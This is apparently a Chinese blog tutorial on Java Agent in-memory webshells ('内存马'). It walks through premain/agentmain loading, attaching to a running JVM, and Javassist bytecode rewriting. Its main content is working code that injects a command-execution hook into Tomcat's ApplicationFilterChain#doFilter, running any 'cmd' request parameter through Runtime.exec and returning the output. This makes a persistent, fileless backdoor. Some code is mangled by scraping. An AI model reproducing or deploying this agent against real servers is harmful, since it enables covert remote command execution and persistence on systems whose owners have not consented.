初识Java Agent 内存马

一 前置原理

内存马存在4种类型:Filter型、Servlet型、Listener型、Agent型

Java Agent 支持两种方式进行加载:

  1. 实现 premain 方法,在启动时进行加载 
  2. 实现 agentmain 方法,在启动后进行加载

Java Agent允许程序员利用agent技术构建一个独立于应用程序的代理程序,用途也非常广泛,可以协助监测、运行、甚至替换其他JVM上的程序

VirtualMachine

先了解一下 VirtualMachine, 可以通过此接口的实例直接或间接访问所有其他镜像,此接口直接支持访问全局VM属性和控制VM执行,主要方法如下:VirtualMachine – Java 11中文版 – API参考文档 (apiref.com),通过 VirtualMachine 可以找到其他运行的jvm,如果我们可以使用这种方式修改其他程序,那么就达到了注入的效果

1726924388_66eec664748024619474f.png!small

Instrumentation

使用 Instrumentation,开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。主要方法如下:Instrumentation 包/类/方法中文说明 – Java 11 API中文版 – 手册 – 时代Java (nowjava.com)

1726978629_66ef9a45bfac31c148df8.png!small?1726978629565

Javassit

可看下文

Java字节码操作神器:Javassist入门指南_java javasist-CSDN博客

Javassist中文技术文档 – 程序诗人 – 博客园 (cnblogs.com)

javassist使用全解析 – rickiyang – 博客园 (cnblogs.com)

二 preMain

JVM启动前加载

注入代码

public class MyPremain {
        public static void premain(String agentArgs, Instrumentation inst) {
                System.out.println("MyPremain");
        }
}

之后添加工件

1726932790_66eee736db8247eef7ed7.png!small?1726932791172

构建jar包时一定要将其中MANIFEST.MF文件中的main-class需要改为premain-class

1726929900_66eedbec51ea272e9503f.png!small?1726929899795

这是我们的被注入程序,打包成jar

public class Main {
        public static void main(String[] args) {

                for (int i = 0; i 

在命令行利用 -javaagent来实现启动时加载,此时效果如下,可以看到先执行了我们的恶意jar

1726924013_66eec4ed5f6a0f069e42a.png!small


三 agentMain

JVM启动后加载

还是先写一个恶意类,同样的构建jar包时必须更改MANIFEST.MF文件

1726929824_66eedba02083b5000e853.png!small?1726929823578

Manifest-Version: 1.0
Agent-Class: com.agentmain_test.myAgentMain

由于是运行时注入,所以我们需要一个注入器,注入器主要通过VirtualMachine实现,VirtualMachine.list获取到jvm虚拟机列表,然后通过loadAgent方法可以加载我们需要加载的恶意方法,此时我们就可以将jar注入到正在运行的程序中

首先需要添加tools.jar的依赖

1726933266_66eee91237e2589804cd3.png!small?1726933266115

注入器代码

public static void main(String[] args) throws IOException, AttachNotSupportedException {
                List list = VirtualMachine.list();
                for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
                        if(virtualMachineDescriptor.displayName() == "com.agent.Main"){
                                VirtualMachine attach = VirtualMachine.attach(virtualMachineDescriptor);
                                try {
                                        attach.loadAgent("agent 的jar文件位置");
                                } catch (AgentLoadException e) {
                                        throw new RuntimeException(e);
                                } catch (AgentInitializationException e) {
                                        throw new RuntimeException(e);
                                }
                        }
                }
        }

启动我们的目标项目和注入器,注入成功

1726931494_66eee226c4ff88593fd0b.png!small?1726931494567

1726931173_66eee0e54529843b4e2e5.png!small?1726931173439

四 内存马实现

启动tomcat,以此检测agent注入时在tomcat等中间件中的可行性,可以看到同样可以被注入

1726980156_66efa03c1e8947dcff948.png!small?1726980155760

同时修改agent代码如下

public class myAgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("classes.txt"));
for (Class aClass : classes) {
String className = aClass.getName() + " " + aClass.getDeclaredMethods().toString()+"n";
fileOutputStream.write(className.getBytes());
}
fileOutputStream.close();
System.out.println("agentmain");
}
}

通过 inst.getAllLoadedClasses 获取到我们可以修改和注入的类,而对于寻找被注入的类,必须满足两个条件:

  1. 该方法一定会被执行
  2. 不会影响正常的业务逻辑

对于用户请求到达服务器之前,Filter、Servlet是一定会被经过的,而在ApplicationFilterChain#doFilter、HttpServlet#service还封装了我们用户请求的 request 和 response,如果我们能够注入这些方法,那么我们不就可以直接获取用户的请求,进而将执行结果写在 response 中进行返回1726982042_66efa79a17431ddc8a7fc.png!small?1726982041868

1726982069_66efa7b5b0de05ab93ebd.png!small?1726982069501

完善agentMain代码,使其执行我们的代码

public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, NotFoundException, CannotCompileException, UnmodifiableClassException, ClassNotFoundException {
                Class[] classes = inst.getAllLoadedClasses();

                for (Class aClass : classes) {
                       if (aClass.getName().equals("要注入的类")) {
                               // 创建类池
                              ClassPool classPool = ClassPool.getDefault();
                              ClassClassPath classPath = new ClassClassPath(aClass);
                              classPool.insertClassPath(classPath);

                               CtClass ctClass = classPool.get(aClass.getName());
                               CtMethod service = ctClass.getDeclaredMethod("service");
                               service.insertBefore("执行的恶意代码");
                               ctClass.detach();

                              byte[] bytecode = ctClass.toBytecode();
                               inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)});
                       }
                }

                System.out.println("注入成功");
}

此时我注入的是 javax.servlet.http.HttpServlet 类,效果如下

1726984931_66efb2e35dee8242376d8.png!small?1726984931342

此时已经注入成功

现在我们修改要执行的代码,并且模拟一个真实环境

参考的这位师傅的dofilter代码(service只是把类和方法更换就好) 浅谈 Java Agent 内存马-腾讯云开发者社区-腾讯云 (tencent.com)主要service这里一直报错没有解决掉,哭死

public class myAgentMain {
        public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
                ClassPool pool = ClassPool.getDefault();
               

                CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
                CtMethod service = ctClass.getDeclaredMethod("doFilter");

                // 插入代码,确保所有类都已正确导入
                String toInsert = "javax.servlet.http.HttpServletRequest req =  request;n" +
                        "javax.servlet.http.HttpServletResponse res = response;n" +
                        "java.lang.String cmd = request.getParameter("cmd");n" +
                        "if (cmd != null){n" +
                        "    try {n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" +
                        "        String line;n" +
                        "        StringBuilder sb = new StringBuilder("");n" +
                        "        while ((line=reader.readLine()) != null){n" +
                        "            sb.append(line).append("\n");n" +
                        "        }n" +
                        "        response.getOutputStream().print(sb.toString());n" +
                        "        response.getOutputStream().flush();n" +
                        "        response.getOutputStream().close();n" +
                        "    } catch (Exception e){n" +
                        "        e.printStackTrace();n" +
                        "    }n" +
                        "}";
                service.insertBefore(toInsert);

                byte[] bytecode = ctClass.toBytecode();
                inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode));
                System.out.println("注入成功");
        }
}

1726990743_66efc997b9d6b27e8bcdf.png!small?1726990743573

1726990594_66efc90299ec1799d2eda.png!small?1726990594568

可以看到也是成功注入的

五 内存马利用方式

【原创】利用“进程注入”实现无文件不死webshell - rebeyond - 博客园 (cnblogs.com)

论如何优雅的注入 Java Agent 内存马 (seebug.org)

千百度
© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容